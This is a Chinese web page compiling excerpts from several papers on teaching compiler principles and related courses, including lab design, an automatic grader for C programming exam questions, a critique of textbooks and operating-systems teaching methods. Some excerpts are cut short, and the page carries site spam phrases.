時間:2022-05-08 04:03:39
開篇:寫作不僅是一種記錄,更是一種創造,它讓我們能夠捕捉那些稍縱即逝的靈感,將它們永久地定格在紙上。下面是小編精心整理的12篇編譯原理論文,希望這些內容能成為您創作過程中的良師益友,陪伴您不斷探索和進步。
1教學內容的選取
針對我校剛升本的一般本科院校,教材采用[2],教學內容的選取應強調對編譯原理和技術的宏觀理解及全局把握,而不要把學生的注意力分散到一些細節的算法上,在講述各章的理論的同時要有一些C語言小程序作為例題或習題。免費論文參考網。結合編譯的各個階段,對教學內容的選取如下:
1.1詞法分析
本部分主要以正規式、NFA(不確定的有限自動機)、DFA(確定的有限自動機)及其最小化為主線來講解,同時對詞法分析器進行介紹,演示用C語言寫的一個簡單語言的詞法分析器,并要求學生上機實現。
1.2語法分析
這一部分中,上下文無關文法是必備基礎知識。語法分析包括自上而下與自下而上的語法分析二種。自上而下的語法分析包括二種:LL文法和遞歸下降分析方法,這兩種方法比較簡單進行可進行詳細介紹,用一個簡單語言的遞歸下降分析程序作為例子進行講解效果更佳。自下而上的語法分析出包括二種:算符優先與LR分析方法,由于目前編譯器的語法分析中已不再采用算符優先方法,因些可只作簡單的介紹就可以了。LR分析方法是比較重要的語法分析方法,但由于SLR分析、規范LR分析和向前看LR分析非常復雜,講解時需要占用較多的課時,不介紹這幾種LR分析表的生成算法可直接介紹LR分析表的使用較好。因此,在介紹自下而上分析的一般概念和使用LR分析表進行移進歸約分析后,可以直接介紹分析器的自動生成器,并介紹歸約時的語義動作,為下面階段語義工作的描述奠定基礎。
1.3語義分析和中間代碼的產生
靜態語義檢查通常包括:類型檢查、控制流檢查、一致性檢查、相關名字檢查,重點應放在類型檢查上,類型系統在編程語言的設計中占據重要位置,講解時先介紹類型系統在編程語言中的作用,然后用語義動作來表達類型檢查算法。
中間代碼生成主要介紹各種形式的中間語言,把賦值語句和各種控制流語句翻譯成中間代碼的語義動作。對于類型和變量聲明語句,重點關注怎樣按語言的作用域規則組織符號表。符號表中符號的插入和查找方法在數據結構中已經闡述過,只需稍作提及就可以了。
1.4屬性文法與語法制導翻譯
語法制導的定義和語法制導的翻譯方案是描述編程語言翻譯的兩種常用形式方法。它們描述嚴格并便于理解,因此大部分有一定深度的教材都用它們來描述靜態語義檢查和中間代碼生成等。這一部分內容較難,簡單加以介紹,讓學生有所了解即可。
1.5運行時存儲空間的組織和管理
這是最需要搞明白部分。尤其在用C這樣比較低級的語言時,掌握這部分內容對編寫程序和程序排錯都很有幫助。具體應該介紹局部存儲分配策略(即一個活動記錄中各類數據的組織),靜態分配、棧式分配和堆式分配等三種全局存儲分配策略,非局部名字的訪問方式和各種參數傳遞方式的實現。
1.6代碼生成
選擇一種采用簡單的寄存器分配策略的代碼生成算法加以介紹,讓學生對代碼生成有所了解即可。
1.7代碼優化
用實例來介紹各類優化,讓學生明白編譯器能完成哪些優化,而不要給學生介紹各種優化算法。這對編程有用處,例如,在可讀性好的源代碼和優化的源代碼兩者之間做選擇時,若知道那些優化可以由優化編譯完成,則寧可選擇可讀性好的代碼。
2.實驗內容的選取
設計一組適宜實驗內容:首先,要將編譯理論和方法在實驗中得以概括,使學生不僅掌握它們本身具體應用,而且掌握由這些理論和方法所構造編譯程序的各個部件是如何在整個系統中協調運行,這是實驗最重要目的之一。其次,必須合理地簡化,使學生比較容易完成。針對編譯原理課程的特點及要求,共設置了五個實驗項目。這組實驗既和理論課內容相輔相承,同時相互之間又互相關聯,構成了一個實驗整體。
實驗一:消去C、C++程序中的注釋(2學時,必做)實驗目的: 掌握C語言文件的基本操作,消除源C語言程序中的注釋,為以后的編譯提供方便。實驗要求:對給定的帶注釋的C語言源程序,利用該程序去掉注釋,輸出去除注釋的源程序。
實驗二:詞法分析(必做,4學時)目的:通過設計編制調試一個具體的詞法分析程序,加深對詞法分析原理的理解。免費論文參考網。并掌握在對程序設計語言源程序進行掃描過程中將其分解為各類單詞的詞法分析方法。要求:編寫程序對輸入的源程序字符串進行詞法分析,對符合下述文法描述的字符串,建立單詞符號表,不符合的字符串給出錯誤信息。
實驗三:遞歸下降分析法(4學時,選做)目的:根據給定的文法編制調試遞歸下降分析程序,以便對任意輸入的符號串進行分析。本次實驗的目的主要是加深對遞歸下降分析法的理解。要求:對給定的文法,利用遞歸下降分析法對任意輸入的符號串進行分析語法分析,對符合下述文法描述的字符串(表達式或賦值語句),給出中間代碼,不符合的字符串給出錯誤信息
實驗四:語法分析程序LL(4學時,必做)目的:通過該實驗使學生掌握描述語法規則的文法,以及加深對語法分析中自頂向下分析法中的預測分析法的理解。免費論文參考網。要求:對給定的文法建立預測分析表,利用預分析法對實驗一中詞法分析產生的符號進行語法分析,對符合下述文法描述的字符串(表達式或賦值語句),給出中間代碼,不符合的字符串給出錯誤信息。
內容:用擴充的BNF表示(同實驗三)。
實驗五:語法分析程序LR(4學時,必做)目的:通過該實驗使學生加深對語法分析中自下而上分析法中的LR分析法的理解。要求:對給定的文法手工建立LR分析表;利用LR分析法對實驗二中詞法分析產生的符號進行語法分析,對符合實驗中文法描述的字符串(表達式或賦值語句)給出中間代碼;不符合的字符串給出錯誤信息。內容:用擴充的BNF表示(同實驗三)
3.小結
編譯原理課程在計算機課程體系中的重要地位,決定了其課程建設和改革的長期性,對培養計算機專業的人才也有著重要的作用,探索該課程的教學方法,提高教學質量是從事計算機教育工作者的必須重視的問題,也是一個永遠值得探討的問題,我們根據我系的實際情況合理的運用現代手段,綜合考慮多種因素,將該課程的教學改革推向更科學的發展道路。
【參考文獻】
[1]張昱,陳意云,郭宇,李兆鵬. “編譯原理”課程的教學內容選擇的探討. Computer Education,vol18,no 4,2009.
[2]程序設計語言編譯原理(第三版)[M].陳火旺,劉春林等.國防工業出版社2008.9.
關鍵詞:自動評分,編譯原理,靜態檢查
0引言
目前,國內外已有很多有關計算機語言類課程的考試軟件,它們大多已能很好地完成對常見客觀試題的自動評閱工作,但是對于一些主觀性很強的題目,尤其是程序設計題,還沒有很好的解決方案。其中主要采用的是結果評分法,即只依據程序運行結果給出相應分數,而并不查看考生程序內容。在這種評分機制下,程序中一個小小的錯誤就將導致一個幾近正確的程序無法運行,從而因無運行結果,考生將丟失全部分數。這與傳統人工閱卷中的評分原則是不相一致的,評分結果也并不能反應出考生的真實水平。本文以常見的C語言課程為例,對C語言程序設計題的自動評分方法進行了研究,在比較結果的評分方法基礎上,設計了動態評閱與靜態評閱相結合的方法,評分結果更加公正、準確。
1指導思想
經過大量分析與研究,我們設計了動態評閱和靜態評閱相結合的方法實現對程序設計題的評分。具體步驟如下:
(1)結果對比。檢查考生程序的結果文件,若與標準答案文件中的結果一致,則可得滿分。若不完全一致,可依據正確輸出數據的數量以予一定比例的得分。
(2)動態評閱。對于無結果的考生程序,我們可在系統控制下對其進行模擬運行以獲取運行結果。對有語法錯誤的考生程序,可以通過詞法分析和語法分析程序找出錯誤,同時設計改錯算法盡最大可能改正考生程序中的錯誤,最終使程序得以運行并保留錯誤信息。若考生程序經評改、運行,獲取了正確結果,則可依據錯誤信息從總分中扣除相應的分數。若仍無法運行或結果不正確,則采用靜態評閱。
(3)靜態評閱。所謂靜態評閱,是指通過對考生程序中語句的靜態檢查獲取評閱信息。系統事先在程序設計題的題庫文件中根據考試題目設置有多條關鍵語句,評分時,通過檢測考生程序中關鍵語句的數量可判斷其邏輯合理性,給出相應分值。
盡管上述評分方法,仍不可能做到像人工閱卷一樣實現真正的按步驟評分,但相對于以往只按結果評定成績的評分方法,相信該系統還是有積極意義的。由于考試題都是較小的程序,評分可以做到較大程度的準確。
3解決方案
程序設計題的評分最為復雜,在確定了程序設計題評分目標后,著重從以下四個方面進行了考慮:
(1)通過運行結果判定程序功能是否實現
我們要判斷一個程序是否正確,就是要看其是否完成了要求的功能,即程序的運行結果是否與實際應有的結果相符。C程序的運行結果是可以通過數據文件保存起來的,因而只要我們合理設計考題源程序中的部分內容,即在程序中指定程序結果的存儲文件,則在考生答題結束后,我們即可依據該結果文件中的內容是否與標準答案相符來判定考生程序的正誤。標準答案文件可在抽取試題時同時生成。
(2)采用“以程序改程序”的方法對錯誤的考生程序進行評改,使其趨于正確
C語言源程序文件是擴展名為.C的文本文件,可被作為普通文本文件一樣進行讀寫處理。一個沒有運行結果的程序不外乎兩種情況,或是有語法錯誤,或為死循環。針對前者,我們可以采用詞法分析及語法分析方法進行處理。詞法分析和語法分析任務有兩個,一是找錯,即要盡可能地找出程序中的詞法及語法錯誤,生成錯誤文件;二是改錯,要將發現的每一處錯誤盡最大可能修改正確,以便程序得以運行。編譯原理講述了開發高級語言編譯器的一整套原理和方法,我們可以借鑒這些原理和方法,結合C語言自身的特點設計出詳實的改錯算法。
(3)在程序中編譯運行修改后的考生程序
編譯器的設計是相當復雜而繁重的工作,由少數人在短期內去開發一個全新的編譯器是不現實也是不可能的。Turbo C提供有行編譯命令TCC.EXE,其使用方法類似于一般的DOS命令,可以將C程序直接編譯為目標代碼和可執行程序。據此,評分程序可在Visual Basic中借助Shell函數調用TCC命令程序,從而對考生程序進行編譯。通過檢查編譯結果即可執行文件是否生成,可判定考生程序是否正確。可執行文件為.EXE文件,可作為外部程序被其它程序所調用。若可執行文件生成正確,可再通過Shell函數調用可執行文件使考生程序得以運行。
(4)用API函數防止系統崩潰
如果考生程序為一個死循環程序,被 Shell啟動后將使系統陷入崩潰。Windows提供有很多控制應用程序運行的API函數。論文參考。為防止此種情況發生,可利用VisualBasic調用相應的API函數來處理。
(5)通過合理設計關鍵語句,檢驗考生程序的邏輯準確性
對于運行結果不正確,或經過評改仍無法運行的程序及死循環的程序,如何評閱以給出較合理的分數呢?這個問題其實就是要檢驗程序的邏輯合理性。一個可用多種方法編制的程序,由于其功能是確定的,因而其所采用的基本算法應是一致的。如求1至100的和,則不論用哪種循環語句,其基本算法都應是累加求和。考慮在給出的考生源程序中,可事先設定好存放結果的變量,并對程序中其它變量的命名加以適當規定,如循環變量必須使用i、j、k等。經過這樣的設計,使得試題程序中存在有部分確定的關鍵語句。在編程題的題庫文件中,我們可事先存放好正確的關鍵語句,評分時通過查找考生程序中這些關鍵語句的數量,即可給出相應的較合理的分數。
由于本系統主要用于對在校學生C語言基礎應用能力的考核,要求考生編制的源程序均不是很復雜,因此經過上述一系列的評改方法,本系統對考生程序是能夠給出一個較合理的考試分數的。與以往以結果論成敗的評分方法相比,本系統給出的評閱結果將更加接近于人工閱卷的結果。
4 系統設計
(1)功能結構分析
對程序設計題進行自動評卷較為復雜,主要包括兩個方面:一是要檢驗結果的正確性,二是要檢測程序的語法和邏輯是否符合要求。程序設計題閱卷評分系統的功能結構圖如圖1所示。
圖1 程序設計題評分系統功能結構圖
(2)評閱流程設計
經過對C程序結構的透徹分析與研究,對程序設計題的評閱主要采用結果對比、靜態評閱與動態評閱相結合的方法,具體步驟如下:
1)結果對比
檢查指定的結果文件是否存在,若存在則與標準答案文件進行對比。與標準答案文件內容完全相同,則說明結果正確,得滿分,否則轉去靜態評閱。若無結果文件,執行動態評閱。
2)動態評閱
①對考生源程序進行編譯連接,若生成可執行文件成功,則運行考生程序并進行結果檢查,若生成失敗,說明考生程序存在語法錯誤,轉入以下過程繼續處理。
②對考生源程序進行詞法分析。掃描源程序,將其轉化為特定格式的TOKEN串,存入TOKEN文件。
③根據詞法分析的結果,即TOKEN文件,進行語法分析。論文參考。詳細指出程序中存在的語法錯誤,生成錯誤文件,在保證不對考生程序正確部分產生破壞的前提下,盡最大可能將考生程序修改正確,生成修改后的TOKEN文件。
④調用轉換程序將修改后的TOKEN文件重新生成為C語言源程序,其與考生源程序不同名,稱其為新生源程序。
⑤調用TCC程序以命令行方式對新生源程序進行編譯連接。論文參考。
⑥編譯連接成功,運行新生源程序的執行文件,并調用API函數控制程序運行, 以防由于死鎖的發生導致系統崩潰;編譯失敗則退出動態評閱過程,改用靜態評閱。
⑦對新生源程序的運行結果進行檢測,若有結果,則轉去進行結果比較,若無結果則轉去進行靜態評閱。
3)靜態評閱
從程序設計題題庫文件中讀取該試題的關鍵語句,對考生程序進行檢測。根據檢測出的考生程序中的關鍵語句的條數判斷程序的邏輯合理性,給出相應分值。
5 結論
本文提出了一種較新的C語言程序設計題的自動評分方法,對其進行了系統的研究與設計。通過運用編譯原理的理論編寫相應的評改算法,可實現對C語言程序設計題的自動評分,此種方法已經過代碼設計初步實現,經測試,評分結果更加人性化,更加接近于人工閱卷的結果。此種評分方法對于如C++、JAVA等程序的自動評分方法的設計,具有一定的參考價值。
參考文獻:
[1] 段漢周,凌捷,鄭衍衡. Visual Basic程序設計考核自動評閱系統中若干問題的研究. 計算機工程,2001,27(4)
[2] 李丁. 計算機考試系統中自動評分策略的研究與實現.計算機與現代化,2002(9):8
[3]王春霞. 自動閱卷系統的開發. 鹽城工學院學報,2002,15(1)
[4] 何濤. 自動化考試系統設計與開發:[學位論文]. 吉林大學
巨大的市場需求推動了計算機教材的繁榮,各大出版社或引進或組織教師編寫,各種計算機教材陸續走進了課堂。
供需兩旺,市場繁榮,好像局勢一片大好。然而,這欣欣向榮的表象之下,真的是“局勢一片大好嗎”?
計算機類教材的隱憂
1.題材撞車與“自留地”現象
有誰能說出全國一共出了多少種《C程序設計》教材?有誰能說出全國出了多少種《編譯原理》教材?還有《數據結構》、《微機原理》、《軟件工程》、《離散數學》……幾乎所有的計算機專業骨干課程,都可以列出長長的一個書單。而這些教材,幾乎都是一個模子里出來的,從目錄上看,內容差不多,甚至連寫作的語言也讓人“眼熟”。
很明顯,教材的寫作似乎已進入“工業化大生產”階段,教材成了“教材生產流水線”上的產品。
然而我懷疑,這樣的生產流水線能出得了堪稱精品的教材?
教材內容雷同的現狀,催生了各個院校在教材選用上的“自留地”現象,即選教材時優先選用本校教師寫的教材。因為大部分的教材內容大同小異,那為什么不用自己的?作出這個決定省時省力,而且可以說出一連串“合情合理”的原因。
但教材選用上的“自留地”現象,客觀上卻為推廣優秀教材帶來了阻礙。
2.面孔嚴肅,拒人千里
我的一個朋友有句名言:“書非K不能讀也!”他的意思是,學習教材的過程是非常痛苦的,要經歷一個“死去活來”的過程,才能最終琢磨出味道來。
在我看來,這實在太確切了。
我們太多的教材,老板著個臉,文字乏味枯燥,拒人于千里之外。在這方面,最典型的是理論性本身就很強的教材。比如《離散數學》教材,大多數都充滿了大量的抽象的概念與定理,并夾雜著大段大段枯燥的形式化推導與證明,如果有人告訴我這樣的書他讀得“很享受”,那他不是一個“數學天才”就是在說反話。
我手頭有一本北京某著名大學的老師編寫的《離散數學教程》,寫作風格比較簡潔,但太簡潔時就增大了閱讀的難度,薄薄的幾頁有時就得耗去讀者數個小時。剛好手頭還有另一本機械工業出版社引進的《離散數學及應用》(《Discrete Mathematics and Its Applications》,Kenneth H.Rosen著),就顯得平易近人多了。論厚度,這本是那位老師寫的書的1.5倍左右,但相比之下,我還是寧愿抱著臺電腦用“金山詞霸”去啃這厚厚的“英文磚頭書”。
這位著名學府的老師她本人無疑具有很高的數學水平,而這本教材,我想可能是針對該校基礎很好的本科生編寫的,對于像我一樣數學水平有限的普通讀者選它來學習,無疑是個錯誤。
國內國外同類教材對比,我不由得產生以下疑問:
為什么國內作者在寫作時不能多舉些例子,不能多一些通俗的解釋?為什么國內作者如此惜墨如金,能不能在書中多寫幾段話,點明這些理論的實踐意義?為什么國內的作者不能在教材中對最重要的知識點給出“畫龍點睛”式的強調,以幫助讀者去把握這一領域的脈絡?
我衷心希望國內作者在寫教材時多從讀者的角度去想想,不要對讀者已掌握的知識與技能作太多的假設!
真正有成就的人,比如許多大科學家,都說他們之所以取得一定的成就,都是因為他們對各自的領域有著強烈的興趣,著名數學家陳省身就說過他是在“玩”數學。能把如此抽象的學科看成玩具,難怪陳先生能成為一代數學大家!
那對科學的興趣從何而來?
現在的家長和教師,從小學到大學,無不為孩子沉迷于網絡游戲而發愁。為什么這么多的學生會喜歡上網絡游戲?很簡單,因為網絡游戲有趣,好玩,讓他們有成就感,可以讓他們逃避令他們感到痛苦的學校學習生涯。
為什么學生認為學習是件苦差事?他們天天要啃的教材是這樣一副冷冰冰的模樣,有哪個學生會喜歡?這是非常自然的事情。
當然,無論怎樣編寫,教材是無法做到像游戲一樣引人入勝的,但教材的編寫者完全應該想辦法讓學生的學習多一點樂趣,少一點痛苦!
當前大多數教材讀起來毫無樂趣可言,這點無庸多說,每個過來人都有體會。
3.在寫教材還是在寫論文
教材的寫作風格與論文有很大不同,然而,真有一些教材是以“論文筆法”來寫的。
論文有特定的寫作方法,高水平的論文可能會用高深的數學語言來表述,比如愛因斯坦最初的有關狹義相對論的論文,據說當時全世界科學家中能看懂的沒幾個,不為大眾所理解,并不影響論文本身的水平。
然而把這種“論文筆法”用到教材上,那就走入了誤區。教材的主要目的是傳播知識,而不是向世界宣告您又發現了什么新理論。如何讓讀者能更快地汲取書中的營養,這是教材編寫者必須考慮的問題。
除此之外,還有更嚴重的問題。
當今中國高校非常強調論文的發表數量,太多的人為發論文而忙碌。為了,出現了一種很不好的論文寫作風格,筆者稱之為“淺入深出”。作者自己并未作太多的研究,也沒有多少真正的成果,為了論文更易于發表,必須人為地加大論文的閱讀難度,比如某個問題其實可以用幾句大白話就講清楚的,卻一定要繞個大彎子,加上N多數學公式……別人看不懂,呵呵,那是你水平不夠!大批這樣的論文中不乏“南郭先生”。
由于教材也是晉升高一級職稱審批的指標之一,就有人為此目的而拼湊教材,自然而然地將拼湊論文的套路用到了教材編寫上,習慣成自然嘛。對這種“新鮮出爐”的教材,只能用一個詞來形容――“誤人子弟”!
4.從理論到理論的“空對空導彈”
計算機科學本質上是一門實踐性非常強的科學,正是實踐在推動計算機科學與技術的不斷進步,許多的計算機理論都可以找到它的實踐基礎。
拿《編譯原理》來說,其中介紹到的許多理論與方法在軟件開發中應用是很廣的:復雜的軟件如一個編譯器,簡單的程序如一個計算器;大規模的軟件如現代軟件集成開發環境,小的軟件如某個MIS系統中四則運算公式的解析模塊,都可看到編譯理論的巨大威力。
然而,太多的編譯教材只重理論不重應用,講了一大堆的文法和自動機理論,嗦嗦地詳細介紹各種分析方法,卻都是“紙上談兵”,從理論到理論,難怪有這么多的學生困惑不已:我為什么要花這么多的時間去學這么難的課程?它有什么用?難道僅為了考試?
知識的獲取與掌握是有其客觀規律的,一般而言,具體的知識易于理解,而抽象的知識則難于把握,在學習過程中,應遵循“具體抽象具體……”這樣一個無限循環的過程。
如果某人對一門學科所知不多,卻指望他能通過理論學習迅速地把握這門學科,這違反了人類認識世界的客觀規律。
因此,從認識論角度出發,教材的編寫是不能從理論到理論的。必須先從實例引入,再介紹理論。教材應盡可能地展現出人類在探索某個問題時所經歷的具體過程,理清其來龍去脈,闡明知識之間的內在聯系,從而幫助學生在學習過程中循序漸進地建立起一個相對完整的知識體系。
改進之路
那么,應該如何寫出一本好的教材呢?
1.作者要有責任心
教材的作者,絕大部分都是教師。要牢記教師的職責:傳道、授業、解惑。我們身上是有責任的,誤人子弟,則罪莫大焉!
這就要求作者厚積薄發,盡可能不要出于功利性目的(比如升職稱)而寫教材。當然,現實中功利性因素是不可避免的,只能要求作者既然要決定寫,就要盡可能地寫好。
我強烈反對沒有任何實際開發經驗與教學經驗的人來寫計算機類教材。孫子有語:不知彼不知已,每戰必敗。這樣的人既對計算機技術不熟,又不了解學生的真實情況,怎可能寫出好教材?
另一個對作者的要求是與時俱進。計算機理論與技術的發展太快了,因此一本好教材應及時補充新內容。在這點上,國外的許多經典教材做得很好。比如我前面提到過的《離散數學及應用》,我手頭上的已是第5版。還有一個例子,比如著名的Deitel父子寫的《Java How To Program》(《Java大學教程》),幾乎做到了Java每出一個新版本,相應地他們也會跟著更新書中的內容,出一個新版。
第三個對作者的要求是能與讀者互動。在互聯網大普及的時代,網絡是獲取讀者反饋信息最便捷的手段。國外的著名教材,幾乎每本都有一個網站提供各種的附加資源,并給讀者答疑解惑。對于國內的作者而言,要求每本教材都建立一個獨立的網站是不切實際的,但最起碼作者應該留一個電子郵件地址。目前Blog非常紅火,許多博客網站都提供免費的Blog服務,筆者認為這是一個很好的作者與讀者互動的平臺。
2.弄清楚教材是給誰看的
教材與理論專著不同,教材是學生學習的依據,其目的是更快更好地將知識傳授給學生,因此,應從學生角度而非教師角度編寫教材,要讓學生“便于學”,而不是教師“便于教”(當然最好兩者兼顧,不能兼顧則學生優先)。
我看到許多的教材都是“教師編給教師看的”,而不是“教師編給學生看的”,這種教材如果沒有老師教,學生幾乎無法自學。
比如看到某教材有“教師手冊”與“學生課本”之分,或者有“正式課本”與“輔導材料”之分時,我覺得這是一種“一切以教師為中心”的教學思想的反映。其本質在于教師要比學生壟斷更多的資料,以便樹立教師的“權威”,而學生只能在教師的講授與指導下學習。有這個必要嗎?這種方式,我怎么看都有點“武大郎開店”的嫌疑。
在現在這個信息爆炸的時代,重要的是培養學生的自學能力,怎能讓學生離了教師就不會學習了?
另外,按“便于學生自學”的方式編寫教材,其實反過來也有助于教師(特別是新教師)深入理解教材,從而把教學工作做得更好,真正做到“教學相長”。
3.深入淺出才是好教材
一本適合于學生自學的教材,一定要做到深入淺出。這是很不容易的。其前提是作者要有深厚的積累,才能“用普通話講抽象的理論,用大白話講復雜的技術”。我個人發覺,如果做到八個字,教材的可讀性就可大大增強。這八個字是:善用比喻,實例為王!
一個好例子,勝過千言萬語。例子在幫助學生掌握知識方面的作用是無法估量的,尤其是針對理論性強的課程。
舉個例子,《數據庫原理》往往要講到數據庫范式,理論講得太多,不如舉一個學生都非常熟悉的網上選課系統,詳細分析將學生信息與課程信息分布到數據庫表中的不同方案,比較每個方案的優缺點,進而自然地引出范式的概念,并讓學生能直觀地理解如何在數據庫中應用范式去解決數據完整性、冗余性等在實踐中遇到的問題。
另一個方面,計算機科學理論與技術中都涉及到大量抽象的概念,教材在向學生介紹概念的內涵時,既要注重科學性與嚴謹性,更要注重通俗性。
在這方面,比喻這一修辭手法大有用武之地。
比如,介紹C++課程中的名字空間(namespace)概念時,將“類”比做書,將“名字空間”比作圖書館或書架,則學生很快就能明白這一抽象概念的含義。
還有《數據結構》中的堆棧,可以將其比喻成羽毛球筒,其特點是每次只能從開口處塞入和取出一個羽毛球。
《軟件工程》中介紹軟件項目的迭代開發原則時,可以用“滾雪球”來類比軟件項目的進化過程。
其實漢語有著豐富的表現力,看看過去和現在各個文學家的著作,難道我們的教材編寫者不能從這些地方汲取營養,把教材寫得盡可能地“好看些”?
4.授人與魚,不如授人與漁
“授人與魚,不如授人與漁。”
傳頌千古的名言,蘊含著深刻的道理。
計算機科學的每個領域,其實都有一些最重要最基本的思維方法。在教材中,應致力于將這些非常重要的思維方法以直觀的形式突顯出來,引導學生先去認識這種思維方法,再讓他們去嘗試應用這種思維方法,最終能活用這種思維方法。
因此,好的教材,應該讓學生能領會不同領域具有不同特點的思維方法,而不是僅僅只關注一些具體知識的傳授。
比如,學數學就要讓學生知道怎樣從特殊到普遍,從已知推未知,知道怎樣從假想開始再以科學的推理方法去證明假想的對錯,掌握從大量的數據中去找出其中蘊含著的特定的數學規律的方法……
學編程就要讓學生知道針對某個問題,應怎樣去設計一個解決方案;在具體開發中,面對著技術難點,用什么方法去攻克它;理解為什么在編碼過程中,要高度注意編碼的規范性;知道如何將軟件工程的相關理論滲透到具體開發實踐中……
只有具有這樣特點的教材,才能使學生掌握做事的方法,并使他們的思想深刻起來,成為一個有著獨立思維能力的人。
我想,作者如能作到以上幾點,寫出的教材其質量應是不差的。
寫出特色來――我的教材編寫實踐
作為一名高校的一線教師,我既熱愛教學工作,又喜歡鉆研軟件技術。
在工作中,我一直都在琢磨著有關計算機教育方面的一些問題。本文前面的一些觀點就是我在教學實踐中逐漸總結的。
但這些觀點是否正確,是否可行,這只能由實踐來說話。我決定編寫一本教材,全面地嘗試我在上面所提到的各種觀點。
從2004年11月到2005年7月,我用了9個月的時間寫了一本不像教材的教材:《編程的奧秘――.NET軟件技術學習與實踐》,這本教材與傳統教材的模樣有很大的不同。
這本書的基本原型是我在北京理工大學開設的“.NET軟件開發技術基礎”選修課教案,該課程得到了微軟公司2005年“微軟高校精品課程支持計劃”的資助,教材于2006年1月由電子工業出版社出版。
在寫作過程中,我想得最多的就是如何走出一條教材編寫的新路子,探索一些新的教材編寫方法,一句話――寫出自己的特色來!
書出版以后,我在自己的Blog上(/bitfan)建立了一個讀者作者交流區,自己的郵箱也陸陸續續地收到不少讀者郵件。
在我收到的讀者反饋信息中,大都對這本書給予了充分的肯定。而這些讀者中,絕大多數是在校的大學生,由于書價較貴,有讀者來信說他省了半個月的飯錢才買下這本書,還有的讀者在書店“站讀”數個小時……令我非常感動。
Key words: practice;OS;integration
中圖分類號:G42 文獻標識碼:A 文章編號:1006-4311(2013)08-0216-02
0 引言
《操作系統》作為計算機及相關專業必修課程,將學生在一、二年級學到的知識和技能進行綜合并予以提升,幫助學生完善專業基礎理論體系,培養學生對計算機軟硬件系統結構進行系統、完整、深入的思考。該課程在教育部歷次教學改革和教學計劃調整中都不斷得到加強。
任何一門課程,要對其有比較深刻的內涵理解的前提是對其內容的精確提煉,而不僅僅是簡單的以章節形式進行的羅列和疊加。筆者在多年從事該課程研究的基礎上,對操作系統的一些教學方法方面有一些比較成熟的看法,特提出以供大家商榷。
1 操作系統課程的精髓教學框架
對本課程的全部教學內容所提煉并加以有機整合而形成的精髓教學框架:
1.1 系統發展歷史的回顧與當前技術發展潮流追蹤許多學校的計算機專業在講解操作系統課程時,往往局限于介紹具體方法和技術細節,忽略對技術發展歷史和當前技術潮流的詮釋。既不能開拓學生專業視野,又無法對專業歷史有深入的了解。本門課程爭取使用3-4學時的時間詳細講解操作系統的發展歷史、著名人物、分類體系和技術發展趨勢。這樣的內容極大的激發了學生的學習興趣和專業使命感,具有很好的教學效果。
1.2 作系統基本設計原理與核心技術方法的分析講解 本門課程注重對基礎專業理論的講解,從五個方面詳細剖析操作系統的核心原理。對進程管理、存儲管理、文件系統、設備管理、系統接口等基本的設計原理均進行了詳細的介紹和分析。
操作系統的各種基本設計原理中包含了大量的算法設計與技術實現優化考慮,在教學過程中,要特別注重剖析算法設計思想和優化方法的差別,強調激發學生的主動思考能力,而不是僵化的向學生灌輸思想。
1.3 真實操作系統案例的組成結構與實現特色剖析對比 操作系統的設計原理體系嚴密,各種技術方法錯綜復雜。要注重選用真實操作系統作為學習的案例。通過對真實案例的剖析以提高學生的感性認識。
1.4 操作系統原理與計算機原理、編譯原理、數據庫、計算機網絡等課程的關聯 《操作系統原理》課程是計算機及相關專業的學生在本科階段“承上啟下”的重要課程,講授過程中必須注重與其他專業基礎課內容和知識的結合。要專門講解“操作系統硬件基礎知識”以融合《計算機原理》課程知識;重點分析“應用程序編譯鏈接過程”以融合《編譯原理》課程知識;在“進程同步互斥、I/O設備同步阻塞-異步傳輸”的內容中有機融合《數據庫原理》、《計算機網絡》的基本概念。這樣的關聯式教學方式使得學生能夠將多門專業基礎課程進行有機的融合貫通,有效的促進了專業理論體系的完善。
2 選擇科學合理的教學方式
基于以上對教學內容的有機的系列化分類,在選用優秀計算機經典教材的基礎上,必須強調教學方式的科學與合理,主要采用以下教學方式:
2.1 定位于專業基礎必修課,幫助學生建立扎實的專業理論基礎 計算機領域各相關專業的學生都需要建立扎實完整的軟件基礎理論體系。《操作系統原理》是講述計算機硬件資源管理、應用程序運行控制、人機交互接口實現等內容的基礎性課程,在專業人才培養方面具有極為重要的作用。應該不斷加強對《操作系統原理》課程的教學投入,積極完善師資隊伍、改進教學計劃、建立完整實踐環境、主動追蹤技術發展潮流,使得本門課程的教學質量不斷提升。
2.2 面向應用、軟件等各專業學生授課,實現“承上啟下”的總體教學目標 《操作系統原理》是計算機科學與技術專業必修基礎課,是自動化專業的專業選修課,也是非計算機專業的軟件方向主干課。在教學計劃中,本門課程最主要的作用就是實現對低年級專業基礎知識的綜合與提升,幫助學生建立系統、完整的專業基礎理論體系,培養學生的研究型思維和動手實踐能力,開拓學生的專業學術視野,為后續課程的學習和專業發展奠定重要的基礎。
2.3 原理、實踐、現實應用相結合,為培養高水平專業人才服務 《操作系統原理》是綜合了基礎理論講授、動手實踐、觀察體驗、最新技術發展潮流追蹤等多項內容的專業基礎課程。課程建設存在教學工作量大、上機實踐環節重要、學生學習任務重等特點,課程教學過程中,常常存在原理講授與上機實踐脫節、課堂學習與現實應用剝離的情況,導致老師在教學過程中常采用“灌輸式”教學方法、學生在學習過程中常采用“機械記憶”的學習習慣,教學質量難以提升。
為此,在《操作系統原理》課程建設中應該積極進行教學改革和創新,近年來不斷引進國內外經典操作系統教材,努力搭建多種操作系統平臺的上機實踐環境,加強師資隊伍建設和教學督導力度,加強對技術發展潮流的追蹤。
2.4 “啟發式、關聯式”的課堂講授與課堂討論相結合在對基礎性的操作系統原理進行講解時,要注重講授與討論的結合,教案的內容組織并不完全遵循各類教材的內容安排,在講解順序、思路整理方面均體現了教師對學習過程的把握和指導。在詳細講解各類原理之前,安排小規模“課堂討論”分析猜測設計思想,激發學生的好奇心和主動思考能力;在講解原理的過程中,不斷的問“為什么”,提高學生的對比分析能力;在原理講解完成后,進行系統性的總結和展望,指導學生建立系統性的思維方式。
為激發課堂討論的積極性,對討論過程中表現優異的學生給予“小額加分”的激勵,鼓勵學生表達自己觀點。
關鍵詞:自動化生產線;教學方法;電機與電氣控制;PLC;課程設計
中圖分類號:G712文獻標識碼:B文章編號:1006-5962(2013)02-0027-02
